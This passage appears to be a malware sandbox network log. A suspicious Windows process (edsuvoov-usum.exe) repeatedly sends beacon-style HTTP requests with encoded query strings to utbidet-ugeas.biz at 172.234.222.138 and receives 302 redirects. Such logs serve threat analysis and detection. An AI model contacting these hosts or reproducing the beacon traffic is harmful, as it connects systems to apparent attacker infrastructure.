Sep 7, 2024 15:34:46.970654964 CEST	169	OUT	GET /d/N?0228CC01DC2FCC01DC1ACC29DC28CC8F0FBCF4A98629CCC1742ACF37F21AE238EE18FC2FDC HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:47.473460913 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:47 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0228CC01DC2FCC01DC1ACC29DC28CC8F0FBCF4A98629CCC1742ACF37F21AE238EE18FC2FDC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.3	61386	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:47.479403973 CEST	201	OUT	GET /d/N?0228CC01DC2FCC01DC1ACC29DC28CC8F0FBCF4A98629CCC1742ACF37F21AE238EE18FC2FDC HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:47.972366095 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:47 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0228CC01DC2FCC01DC1ACC29DC28CC8F0FBCF4A98629CCC1742ACF37F21AE238EE18FC2FDC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.3	61389	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:49.380371094 CEST	169	OUT	GET /d/N?027812AD6B7F12AD6B4A12856B781223B8EC2A053179126DC37A119B454A3C94594822836B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:49.870134115 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:49 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027812AD6B7F12AD6B4A12856B781223B8EC2A053179126DC37A119B454A3C94594822836B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.3	61390	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:49.884815931 CEST	201	OUT	GET /d/N?027812AD6B7F12AD6B4A12856B781223B8EC2A053179126DC37A119B454A3C94594822836B HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:50.366652966 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:50 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027812AD6B7F12AD6B4A12856B781223B8EC2A053179126DC37A119B454A3C94594822836B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.3	61392	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:50.976265907 CEST	169	OUT	GET /d/N?021685246B1185246B24850C6B1685AAB882BD8C311785E4C31486124524AB1D5926B50A6B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:51.554553032 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:51 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?021685246B1185246B24850C6B1685AAB882BD8C311785E4C31486124524AB1D5926B50A6B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.3	61393	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:51.560602903 CEST	201	OUT	GET /d/N?021685246B1185246B24850C6B1685AAB882BD8C311785E4C31486124524AB1D5926B50A6B HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:52.160300970 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:52 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?021685246B1185246B24850C6B1685AAB882BD8C311785E4C31486124524AB1D5926B50A6B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.3	61395	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:55.835665941 CEST	169	OUT	GET /d/N?0259BA88095EBA88096BBAA00959BA06DACD82205358BA48A15BB9BE276B94B13B698AA609 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:56.315468073 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:56 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0259BA88095EBA88096BBAA00959BA06DACD82205358BA48A15BB9BE276B94B13B698AA609 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.3	61396	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:56.326698065 CEST	201	OUT	GET /d/N?0259BA88095EBA88096BBAA00959BA06DACD82205358BA48A15BB9BE276B94B13B698AA609 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:56.866570950 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:56 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0259BA88095EBA88096BBAA00959BA06DACD82205358BA48A15BB9BE276B94B13B698AA609 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.3	61398	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:57.022957087 CEST	169	OUT	GET /d/N?02A8EA4905AFEA49059AEA6105A8EAC7D63CD2E15FA9EA89ADAAE97F2B9AC4703798DA6705 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:57.499131918 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:57 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02A8EA4905AFEA49059AEA6105A8EAC7D63CD2E15FA9EA89ADAAE97F2B9AC4703798DA6705 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.3	61399	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:57.505104065 CEST	201	OUT	GET /d/N?02A8EA4905AFEA49059AEA6105A8EAC7D63CD2E15FA9EA89ADAAE97F2B9AC4703798DA6705 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:57.993714094 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:57 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02A8EA4905AFEA49059AEA6105A8EAC7D63CD2E15FA9EA89ADAAE97F2B9AC4703798DA6705 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.3	61401	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:58.741848946 CEST	169	OUT	GET /d/N?0214874BFE13874BFE268763FE1487C52D80BFE3A415878B5616847DD026A972CC24B765FE HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:59.217154026 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:59 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0214874BFE13874BFE268763FE1487C52D80BFE3A415878B5616847DD026A972CC24B765FE Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.3	61402	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:59.239088058 CEST	201	OUT	GET /d/N?0214874BFE13874BFE268763FE1487C52D80BFE3A415878B5616847DD026A972CC24B765FE HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:59.721636057 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:59 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0214874BFE13874BFE268763FE1487C52D80BFE3A415878B5616847DD026A972CC24B765FE Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.3	61404	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:59.913547993 CEST	169	OUT	GET /d/N?02EB193971EC193971D9191171EB19B7A27F21912BEA19F9D9E91A0F5FD9370043DB291771 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:00.425765991 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:00 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02EB193971EC193971D9191171EB19B7A27F21912BEA19F9D9E91A0F5FD9370043DB291771 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.3	61405	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:00.431756973 CEST	201	OUT	GET /d/N?02EB193971EC193971D9191171EB19B7A27F21912BEA19F9D9E91A0F5FD9370043DB291771 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:00.943790913 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:00 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02EB193971EC193971D9191171EB19B7A27F21912BEA19F9D9E91A0F5FD9370043DB291771 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.3	61407	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:01.657562971 CEST	169	OUT	GET /d/N?025D7412245A7412246F743A245D749CF7C94CBA7E5C74D28C5F77240A6F5A2B166D443C24 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:02.253686905 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:02 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025D7412245A7412246F743A245D749CF7C94CBA7E5C74D28C5F77240A6F5A2B166D443C24 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.3	61408	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:02.259665966 CEST	201	OUT	GET /d/N?025D7412245A7412246F743A245D749CF7C94CBA7E5C74D28C5F77240A6F5A2B166D443C24 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:02.750132084 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:02 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025D7412245A7412246F743A245D749CF7C94CBA7E5C74D28C5F77240A6F5A2B166D443C24 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.3	61410	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:07.414925098 CEST	169	OUT	GET /d/N?0216471A6811471A6824473268164794BB827FB2321747DAC014442C462469235A26773468 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
